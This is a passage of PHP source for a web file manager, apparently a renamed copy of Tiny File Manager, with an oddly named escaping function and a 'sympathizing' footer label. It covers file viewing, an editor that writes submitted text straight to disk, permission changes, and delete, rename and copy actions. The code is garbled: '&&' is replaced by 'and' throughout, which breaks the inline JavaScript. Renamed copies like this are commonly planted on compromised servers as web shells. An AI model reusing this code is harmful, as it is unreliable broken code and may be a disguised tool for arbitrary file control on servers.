                        <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;" title="UnZip to <?php echo fanco($zip_name) ?>"><i class="fa fa-check-circle"></i> <?php echo lng('UnZipToFolder') ?></button>
                    </form>&nbsp;
                    <?php
                }
                if ($is_text and !FM_READONLY) {
                    ?>
                    <b class="ms-2"><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>" class="edit-file"><i class="fa fa-pencil-square"></i> <?php echo lng('Edit') ?>
                        </a></b> &nbsp;
                    <b class="ms-2"><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>&env=ace"
                            class="edit-file"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?>
                        </a></b> &nbsp;
                <?php } ?>
                <b class="ms-2"><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back') ?></a></b>
            </div>
            <?php
            if($is_onlineViewer) {
                if($online_viewer == 'google') {
                    echo '<iframe src="https://docs.google.com/viewer?embedded=true&hl=en&url=' . fanco($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
                } else if($online_viewer == 'microsoft') {
                    echo '<iframe src="https://view.officeapps.live.com/op/embed.aspx?src=' . fanco($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
                }
            } elseif ($is_zip) {
                // ZIP content
                if ($filenames !== false) {
                    echo '<code class="maxheight">';
                    foreach ($filenames as $fn) {
                        if ($fn['folder']) {
                            echo '<b>' . fanco($fn['name']) . '</b><br>';
                        } else {
                            echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')<br>';
                        }
                    }
                    echo '</code>';
                } else {
                    echo '<p>'.lng('Error while fetching archive info').'</p>';
                }
            } elseif ($is_image) {
                // Image content
                if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) {
                    echo '<p><input type="checkbox" id="preview-img-zoomCheck"><label for="preview-img-zoomCheck"><img src="' . fanco($file_url) . '" alt="image" class="preview-img"></label></p>';
                }
            } elseif ($is_audio) {
                // Audio content
                echo '<p><audio src="' . fanco($file_url) . '" controls preload="metadata"></audio></p>';
            } elseif ($is_video) {
                // Video content
                echo '<div class="preview-video"><video src="' . fanco($file_url) . '" width="640" height="360" controls preload="metadata"></video></div>';
            } elseif ($is_text) {
                if (FM_USE_HIGHLIGHTJS) {
                    // highlight
                    $hljs_classes = array(
                        'shtml' => 'xml',
                        'htaccess' => 'apache',
                        'phtml' => 'php',
                        'lock' => 'json',
                        'svg' => 'xml',
                    );
                    $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext;
                    if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) {
                        $hljs_class = 'nohighlight';
                    }
                    $content = '<pre class="with-hljs"><code class="' . $hljs_class . '">' . fanco($content) . '</code></pre>';
                } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) {
                    // php highlight
                    $content = highlight_string($content, true);
                } else {
                    $content = '<pre>' . fanco($content) . '</pre>';
                }
                echo $content;
            }
            ?>
        </div>
    </div>
    <?php
        fm_show_footer();
    exit;
}

// file editor
if (isset($_GET['edit']) and !FM_READONLY) {
    $file = $_GET['edit'];
    $file = fm_clean_path($file, false);
    $file = str_replace('/', '', $file);
    if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file)) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
    $editFile = ' : <i><b>'. $file. '</b></i>';
    header('X-XSS-Protection:0');
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
    $file_path = $path . '/' . $file;

    // normal editer
    $isNormalEditor = true;
    if (isset($_GET['env'])) {
        if ($_GET['env'] == "ace") {
            $isNormalEditor = false;
        }
    }

    // Save File
    if (isset($_POST['savedata'])) {
        $writedata = $_POST['savedata'];
        $fd = fopen($file_path, "w");
        @fwrite($fd, $writedata);
        fclose($fd);
        fm_set_msg(lng('File Saved Successfully'));
    }

    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
    $mime_type = fm_get_mime_type($file_path);
    $filesize = filesize($file_path);
    $is_text = false;
    $content = ''; // for text

    if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
        $is_text = true;
        $content = file_get_contents($file_path);
    }

    ?>
    <div class="path">
        <div class="row">
            <div class="col-xs-12 col-sm-5 col-lg-6 pt-1">
                <div class="btn-toolbar" role="toolbar">
                    <?php if (!$isNormalEditor) { ?>
                        <div class="btn-group js-ace-toolbar">
                            <button data-cmd="none" data-option="fullscreen" class="btn btn-sm btn-outline-secondary" id="js-ace-fullscreen" title="<?php echo lng('Fullscreen') ?>"><i class="fa fa-expand" title="<?php echo lng('Fullscreen') ?>"></i></button>
                            <button data-cmd="find" class="btn btn-sm btn-outline-secondary" id="js-ace-search" title="<?php echo lng('Search') ?>"><i class="fa fa-search" title="<?php echo lng('Search') ?>"></i></button>
                            <button data-cmd="undo" class="btn btn-sm btn-outline-secondary" id="js-ace-undo" title="<?php echo lng('Undo') ?>"><i class="fa fa-undo" title="<?php echo lng('Undo') ?>"></i></button>
                            <button data-cmd="redo" class="btn btn-sm btn-outline-secondary" id="js-ace-redo" title="<?php echo lng('Redo') ?>"><i class="fa fa-repeat" title="<?php echo lng('Redo') ?>"></i></button>
                            <button data-cmd="none" data-option="wrap" class="btn btn-sm btn-outline-secondary" id="js-ace-wordWrap" title="<?php echo lng('Word Wrap') ?>"><i class="fa fa-text-width" title="<?php echo lng('Word Wrap') ?>"></i></button>
                            <select id="js-ace-mode" data-type="mode" title="<?php echo lng('Select Document Type') ?>" class="btn-outline-secondary border-start-0 d-none d-md-block"><option>-- <?php echo lng('Select Mode') ?> --</option></select>
                            <select id="js-ace-theme" data-type="theme" title="<?php echo lng('Select Theme') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block"><option>-- <?php echo lng('Select Theme') ?> --</option></select>
                            <select id="js-ace-fontSize" data-type="fontSize" title="<?php echo lng('Select Font Size') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block"><option>-- <?php echo lng('Select Font Size') ?> --</option></select>
                        </div>
                    <?php } ?>
                </div>
            </div>
            <div class="edit-file-actions col-xs-12 col-sm-7 col-lg-6 text-end pt-1">
                <a title="<?php echo lng('Back') ?>" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;view=<?php echo urlencode($file) ?>"><i class="fa fa-reply-all"></i> <?php echo lng('Back') ?></a>
                <a title="<?php echo lng('BackUp') ?>" class="btn btn-sm btn-outline-primary" href="javascript:void(0);" onclick="backup('<?php echo urlencode(trim(FM_PATH)) ?>','<?php echo urlencode($file) ?>')"><i class="fa fa-database"></i> <?php echo lng('BackUp') ?></a>
                <?php if ($is_text) { ?>
                    <?php if ($isNormalEditor) { ?>
                        <a title="Advanced" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>&amp;env=ace"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?></a>
                        <button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fanco($file_url) ?>" onclick="edit_save(this,'nrl')"><i class="fa fa-floppy-o"></i> Save
                        </button>
                    <?php } else { ?>
                        <a title="Plain Editor" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>"><i class="fa fa-text-height"></i> <?php echo lng('NormalEditor') ?></a>
                        <button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fanco($file_url) ?>" onclick="edit_save(this,'ace')"><i class="fa fa-floppy-o"></i> <?php echo lng('Save') ?>
                        </button>
                    <?php } ?>
                <?php } ?>
            </div>
        </div>
        <?php
        if ($is_text and $isNormalEditor) {
            echo '<textarea class="mt-2" id="normal-editor" rows="33" cols="120" style="width: 99.5%;">' . htmlspecialchars($content) . '</textarea>';
            echo '<script>document.addEventListener("keydown", function(e) {if ((window.navigator.platform.match("Mac") ? e.metaKey : e.ctrlKey)  and e.keyCode == 83) { e.preventDefault();edit_save(this,"nrl");}}, false);</script>';
        } elseif ($is_text) {
            echo '<div id="editor" contenteditable="true">' . htmlspecialchars($content) . '</div>';
        } else {
            fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error');
        }
        ?>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['chmod']) and !FM_READONLY and !FM_IS_WIN) {
    $file = $_GET['chmod'];
    $file = fm_clean_path($file);
    $file = str_replace('/', '', $file);
    if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file;
    $file_path = $path . '/' . $file;

    $mode = fileperms($path . '/' . $file);
    ?>
    <div class="path">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header">
                <?php echo lng('ChangePermissions') ?>
            </h6>
            <div class="card-body">
                <p class="card-text">
                    <?php $display_path = fm_get_display_path($file_path); ?>
                    <?php echo $display_path['label']; ?>: <?php echo $display_path['path']; ?><br>
                </p>
                <form action="" method="post">
                    <input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
                    <input type="hidden" name="chmod" value="<?php echo fanco($file) ?>">

                    <table class="table compact-table <?php echo fm_get_theme(); ?>">
                        <tr>
                            <td></td>
                            <td><b><?php echo lng('Owner') ?></b></td>
                            <td><b><?php echo lng('Group') ?></b></td>
                            <td><b><?php echo lng('Other') ?></b></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Read') ?></b></td>
                            <td><label><input type="checkbox" name="ur" value="1"<?php echo ($mode & 00400) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gr" value="1"<?php echo ($mode & 00040) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="or" value="1"<?php echo ($mode & 00004) ? ' checked' : '' ?>></label></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Write') ?></b></td>
                            <td><label><input type="checkbox" name="uw" value="1"<?php echo ($mode & 00200) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gw" value="1"<?php echo ($mode & 00020) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="ow" value="1"<?php echo ($mode & 00002) ? ' checked' : '' ?>></label></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Execute') ?></b></td>
                            <td><label><input type="checkbox" name="ux" value="1"<?php echo ($mode & 00100) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gx" value="1"<?php echo ($mode & 00010) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="ox" value="1"<?php echo ($mode & 00001) ? ' checked' : '' ?>></label></td>
                        </tr>
                    </table>

                    <p>
                       <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>"> 
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>&nbsp;
                        <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Change') ?></button>
                    </p>
                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path

fm_show_message();

$num_files = count($files);
$num_folders = count($folders);
$all_files_size = 0;
$tableTheme = (FM_THEME == "dark") ? "text-white bg-dark table-dark" : "bg-white";
?>
<form action="" method="post" class="pt-3">
    <input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
    <input type="hidden" name="group" value="1">
    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
    <div class="table-responsive">
        <table class="table table-bordered table-hover table-sm <?php echo $tableTheme; ?>" id="main-table">
            <thead class="thead-white">
            <tr>
                <?php if (!FM_READONLY): ?>
                    <th style="width:3%" class="custom-checkbox-header">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="js-select-all-items" onclick="checkbox_toggle()">
                            <label class="custom-control-label" for="js-select-all-items"></label>
                        </div>
                    </th><?php endif; ?>
                <th><?php echo lng('Name') ?></th>
                <th><?php echo lng('Size') ?></th>
                <th><?php echo lng('Modified') ?></th>
                <?php if (!FM_IS_WIN and !$hide_Cols): ?>
                    <th><?php echo lng('Perms') ?></th>
                    <th><?php echo lng('Owner') ?></th><?php endif; ?>
                <th><?php echo lng('Actions') ?></th>
            </tr>
            </thead>
            <?php
            if ($parent !== false) {
                ?>
                <tr><?php if (!FM_READONLY): ?>
                    <td class="nosort"></td><?php endif; ?>
                    <td class="border-0" data-sort><a href="?p=<?php echo urlencode($parent) ?>"><i class="fa fa-chevron-circle-left go-back"></i> ..</a></td>
                    <td class="border-0" data-order></td>
                    <td class="border-0" data-order></td>
                    <td class="border-0"></td>
                    <?php if (!FM_IS_WIN and !$hide_Cols) { ?>
                        <td class="border-0"></td>
                        <td class="border-0"></td>
                    <?php } ?>
                </tr>
                <?php
            }
            $uu = 3399;
            foreach ($folders as $f) {
                $is_link = is_link($path . '/' . $f);
                $img = $is_link ? 'icon-link_folder' : 'fa fa-folder-o';
                $modif_raw = filemtime($path . '/' . $f);
                $modif = date(FM_DATETIME_FORMAT, $modif_raw);
                $date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
                $filesize_raw = "";
                $filesize = lng('Folder');
                $perms = substr(decoct(fileperms($path . '/' . $f)), -4);
                if (function_exists('posix_getpwuid') and function_exists('posix_getgrgid')) {
                    $owner = posix_getpwuid(fileowner($path . '/' . $f));
                    $group = posix_getgrgid(filegroup($path . '/' . $f));
                    if ($owner === false) {
                        $owner = array('name' => '?');
                    }
                    if ($group === false) {
                        $group = array('name' => '?');
                    }
                } else {
                    $owner = array('name' => '?');
                    $group = array('name' => '?');
                }
                ?>
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <td class="custom-checkbox-td">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="<?php echo $uu ?>" name="file[]" value="<?php echo fanco($f) ?>">
                            <label class="custom-control-label" for="<?php echo $uu ?>"></label>
                        </div>
                        </td><?php endif; ?>
                    <td data-sort=<?php echo fm_convert_win(fanco($f)) ?>>
                        <div class="filename"><a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fanco($f)) ?>
                            </a><?php echo($is_link ? ' &rarr; <i>' . readlink($path . '/' . $f) . '</i>' : '') ?></div>
                    </td>
                    <td data-order="a-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT);?>">
                        <?php echo $filesize; ?>
                    </td>
                    <td data-order="a-<?php echo $date_sorting;?>"><?php echo $modif ?></td>
                    <?php if (!FM_IS_WIN and !$hide_Cols): ?>
                        <td><?php if (!FM_READONLY): ?><a title="Change Permissions" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
                        </td>
                        <td><?php echo $owner['name'] . ':' . $group['name'] ?></td>
                    <?php endif; ?>
                    <td class="inline-actions"><?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Delete')?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, '1028','<?php echo lng('Delete').' '.lng('Folder'); ?>','<?php echo urlencode($f) ?>', this.href);"> <i class="fa fa-trash-o" aria-hidden="true"></i></a>
                            <a title="<?php echo lng('Rename')?>" href="#" onclick="rename('<?php echo fanco(addslashes(FM_PATH)) ?>', '<?php echo fanco(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o" aria-hidden="true"></i></a>
                            <a title="<?php echo lng('CopyTo')?>..." href="?p=&amp;copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o" aria-hidden="true"></i></a>
                        <?php endif; ?>
                        <a title="<?php echo lng('DirectLink')?>" href="<?php echo fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f . '/') ?>" target="_blank"><i class="fa fa-link" aria-hidden="true"></i></a>
                    </td>
                </tr>
                <?php
                flush();
                $uu++;
            }
            $ik = 6070;
            foreach ($files as $f) {
                $is_link = is_link($path . '/' . $f);
                $img = $is_link ? 'fa fa-file-text-o' : fm_get_file_icon_class($path . '/' . $f);
                $modif_raw = filemtime($path . '/' . $f);
                $modif = date(FM_DATETIME_FORMAT, $modif_raw);
                $date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
                $filesize_raw = fm_get_size($path . '/' . $f);
                $filesize = fm_get_filesize($filesize_raw);
                $filelink = '?p=' . urlencode(FM_PATH) . '&amp;view=' . urlencode($f);
                $all_files_size += $filesize_raw;
                $perms = substr(decoct(fileperms($path . '/' . $f)), -4);
                if (function_exists('posix_getpwuid') and function_exists('posix_getgrgid')) {
                    $owner = posix_getpwuid(fileowner($path . '/' . $f));
                    $group = posix_getgrgid(filegroup($path . '/' . $f));
                    if ($owner === false) {
                        $owner = array('name' => '?');
                    }
                    if ($group === false) {
                        $group = array('name' => '?');
                    }
                } else {
                    $owner = array('name' => '?');
                    $group = array('name' => '?');
                }
                ?>
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <td class="custom-checkbox-td">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="<?php echo $ik ?>" name="file[]" value="<?php echo fanco($f) ?>">
                            <label class="custom-control-label" for="<?php echo $ik ?>"></label>
                        </div>
                        </td><?php endif; ?>
                    <td data-sort=<?php echo fanco($f) ?>>
                        <div class="filename">
                        <?php
                           if (in_array(strtolower(pathinfo($f, PATHINFO_EXTENSION)), array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))): ?>
                                <?php $imagePreview = fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f); ?>
                                <a href="<?php echo $filelink ?>" data-preview-image="<?php echo $imagePreview ?>" title="<?php echo fanco($f) ?>">
                           <?php else: ?>
                                <a href="<?php echo $filelink ?>" title="<?php echo $f ?>">
                            <?php endif; ?>
                                    <i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fanco($f)) ?>
                                </a>
                                <?php echo($is_link ? ' &rarr; <i>' . readlink($path . '/' . $f) . '</i>' : '') ?>
                        </div>
                    </td>
                    <td data-order="b-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT); ?>"><span title="<?php printf('%s bytes', $filesize_raw) ?>">
                        <?php echo $filesize; ?>
                        </span></td>
                    <td data-order="b-<?php echo $date_sorting;?>"><?php echo $modif ?></td>
                    <?php if (!FM_IS_WIN and !$hide_Cols): ?>
                        <td><?php if (!FM_READONLY): ?><a title="<?php echo 'Change Permissions' ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
                        </td>
                        <td><?php echo fanco($owner['name'] . ':' . $group['name']) ?></td>
                    <?php endif; ?>
                    <td class="inline-actions">
                        <?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Delete') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1209, '<?php echo lng('Delete').' '.lng('File'); ?>','<?php echo urlencode($f); ?>', this.href);"> <i class="fa fa-trash-o"></i></a>
                            <a title="<?php echo lng('Rename') ?>" href="#" onclick="rename('<?php echo fanco(addslashes(FM_PATH)) ?>', '<?php echo fanco(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o"></i></a>
                            <a title="<?php echo lng('CopyTo') ?>..."
                               href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o"></i></a>
                        <?php endif; ?>
                        <a title="<?php echo lng('DirectLink') ?>" href="<?php echo fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f) ?>" target="_blank"><i class="fa fa-link"></i></a>
                        <a title="<?php echo lng('Download') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1211, '<?php echo lng('Download'); ?>','<?php echo urlencode($f); ?>', this.href);"><i class="fa fa-download"></i></a>
                    </td>
                </tr>
                <?php
                flush();
                $ik++;
            }

            if (empty($folders) and empty($files)) { ?>
                <tfoot>
                    <tr><?php if (!FM_READONLY): ?>
                            <td></td><?php endif; ?>
                        <td colspan="<?php echo (!FM_IS_WIN and !$hide_Cols) ? '6' : '4' ?>"><em><?php echo lng('Folder is empty') ?></em></td>
                    </tr>
                </tfoot>
                <?php
            } else { ?>
                <tfoot>
                    <tr>
                        <td class="gray" colspan="<?php echo (!FM_IS_WIN and !$hide_Cols) ? (FM_READONLY ? '6' :'7') : (FM_READONLY ? '4' : '5') ?>">
                            <?php echo lng('FullSize').': <span class="badge text-bg-light border-radius-0">'.fm_get_filesize($all_files_size).'</span>' ?>
                            <?php echo lng('File').': <span class="badge text-bg-light border-radius-0">'.$num_files.'</span>' ?>
                            <?php echo lng('Folder').': <span class="badge text-bg-light border-radius-0">'.$num_folders.'</span>' ?>
                        </td>
                    </tr>
                </tfoot>
                <?php } ?>
        </table>
    </div>

    <div class="row">
        <?php if (!FM_READONLY): ?>
        <div class="col-xs-12 col-sm-9">
            <ul class="list-inline footer-action">
                <li class="list-inline-item"> <a href="#/select-all" class="btn btn-small btn-outline-primary btn-2" onclick="select_all();return false;"><i class="fa fa-check-square"></i> <?php echo lng('SelectAll') ?> </a></li>
                <li class="list-inline-item"><a href="#/unselect-all" class="btn btn-small btn-outline-primary btn-2" onclick="unselect_all();return false;"><i class="fa fa-window-close"></i> <?php echo lng('UnSelectAll') ?> </a></li>
                <li class="list-inline-item"><a href="#/invert-all" class="btn btn-small btn-outline-primary btn-2" onclick="invert_all();return false;"><i class="fa fa-th-list"></i> <?php echo lng('InvertSelection') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="delete" id="a-delete" value="Delete" onclick="return confirm('<?php echo lng('Delete selected files and folders?'); ?>')">
                    <a href="javascript:document.getElementById('a-delete').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-trash"></i> <?php echo lng('Delete') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="zip" id="a-zip" value="zip" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
                    <a href="javascript:document.getElementById('a-zip').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Zip') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="tar" id="a-tar" value="tar" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
                    <a href="javascript:document.getElementById('a-tar').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Tar') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="copy" id="a-copy" value="Copy">
                    <a href="javascript:document.getElementById('a-copy').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-files-o"></i> <?php echo lng('Copy') ?> </a></li>
            </ul>
        </div>
        <div class="col-3 d-none d-sm-block"><a href="." target="_blank" class="float-right text-muted">sympathizing <?php echo VERSION; ?></a></div>
        <?php else: ?>
            <div class="col-12"><a href="." target="_blank" class="float-right text-muted">sympathizing <?php echo VERSION; ?></a></div>
        <?php endif; ?>
    </div>
</form>

<?php
fm_show_footer();


function print_external($key) {
    global $external;

    if(!array_key_exists($key, $external)) {
        // throw new Exception('Key missing in external: ' . key);
        echo "<!-- EXTERNAL: MISSING KEY $key -->";
        return;
    }

    echo "$external[$key]";
}


function verifyToken($token) 
{
    if (hash_equals($_SESSION['token'], $token)) { 
        return true;
    }
    return false;
}

/**
 * Delete  file or folder (recursively)
 * @param string $path
 * @return bool
 */
function fm_rdelete($path)
{
    if (is_link($path)) {
        return unlink($path);
    } elseif (is_dir($path)) {
        $objects = scandir($path);
        $ok = true;
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' and $file != '..') {
                    if (!fm_rdelete($path . '/' . $file)) {
                        $ok = false;
                    }
                }
            }
        }
        return ($ok) ? rmdir($path) : false;
    } elseif (is_file($path)) {
        return unlink($path);
    }
    return false;
}


function fm_rchmod($path, $filemode, $dirmode)
{
    if (is_dir($path)) {
        if (!chmod($path, $dirmode)) {
            return false;
        }
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' and $file != '..') {
                    if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) {
                        return false;
                    }
                }
            }
        }
        return true;
    } elseif (is_link($path)) {
        return true;
    } elseif (is_file($path)) {
        return chmod($path, $filemode);
    }
    return false;
}


function fm_is_valid_ext($filename)
{
    $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false;

    $ext = pathinfo($filename, PATHINFO_EXTENSION);
    $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

    return ($isFileAllowed) ? true : false;
}


function fm_rename($old, $new)
{
    $isFileAllowed = fm_is_valid_ext($new);

    if(!is_dir($old)) {
        if (!$isFileAllowed) return false;
    }

    return (!file_exists($new) and file_exists($old)) ? rename($old, $new) : null;
}


function fm_rcopy($path, $dest, $upd = true, $force = true)
{
    if (is_dir($path)) {
        if (!fm_mkdir($dest, $force)) {
            return false;
        }
        $objects = scandir($path);
        $ok = true;
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' and $file != '..') {
                    if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) {
                        $ok = false;
                    }
                }
            }
        }
        return $ok;
    } elseif (is_file($path)) {
        return fm_copy($path, $dest, $upd);
    }
    return false;
}


function fm_mkdir($dir, $force)
{
    if (file_exists($dir)) {
        if (is_dir($dir)) {
            return $dir;
        } elseif (!$force) {
            return false;
        }
        unlink($dir);
    }
    return mkdir($dir, 0777, true);
}


function fm_copy($f1, $f2, $upd)
{
    $time1 = filemtime($f1);
    if (file_exists($f2)) {
        $time2 = filemtime($f2);
        if ($time2 >= $time1 and $upd) {
            return false;
        }
    }
    $ok = copy($f1, $f2);
    if ($ok) {
        touch($f2, $time1);
    }
    return $ok;
}


function fm_get_mime_type($file_path)
{
    if (function_exists('finfo_open')) {
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $mime = finfo_file($finfo, $file_path);
        finfo_close($finfo);
        return $mime;
    } elseif (function_exists('mime_content_type')) {
        return mime_content_type($file_path);
    } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) {
        $file = escapeshellarg($file_path);
        $mime = shell_exec('file -bi ' . $file);
        return $mime;
    } else {
        return '--';
    }
}


function fm_redirect($url, $code = 302)
{
    header('Location: ' . $url, true, $code);
    exit;
}


function get_absolute_path($path) {
    $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path);
    $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen');
    $absolutes = array();
    foreach ($parts as $part) {
        if ('.' == $part) continue;
        if ('..' == $part) {
            array_pop($absolutes);
        } else {
            $absolutes[] = $part;
        }
    }
    return implode(DIRECTORY_SEPARATOR, $absolutes);
}


function fm_clean_path($path, $trim = true)
{
    $path = $trim ? trim($path) : $path;
    $path = trim($path, '\\/');
    $path = str_replace(array('../', '..\\'), '', $path);
    $path =  get_absolute_path($path);
    if ($path == '..') {
        $path = '';
    }
    return str_replace('\\', '/', $path);
}


function fm_get_parent_path($path)
{
    $path = fm_clean_path($path);
    if ($path != '') {
        $array = explode('/', $path);
        if (count($array) > 1) {
            $array = array_slice($array, 0, -1);
            return implode('/', $array);
        }
        return '';
    }
    return false;
}

function fm_get_display_path($file_path)
{
    global $path_display_mode, $root_path, $root_url;
    switch ($path_display_mode) {
        case 'relative':
            return array(
                'label' => 'Path',
                'path' => fanco(fm_convert_win(str_replace($root_path, '', $file_path)))
            );
        case 'host':
            $relative_path = str_replace($root_path, '', $file_path);
            return array(
                'label' => 'Host Path',
                'path' => fanco(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/')))
            );
        case 'full':
        default:
            return array(
                'label' => 'Full Path',
                'path' => fanco(fm_convert_win($file_path))
            );
    }
}


function fm_is_exclude_items($file) {
    $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
    if (isset($exclude_items) and sizeof($exclude_items)) {
        unset($exclude_items);
    }

    $exclude_items = FM_EXCLUDE_ITEMS;
    if (version_compare(PHP_VERSION, '7.0.0', '<')) {
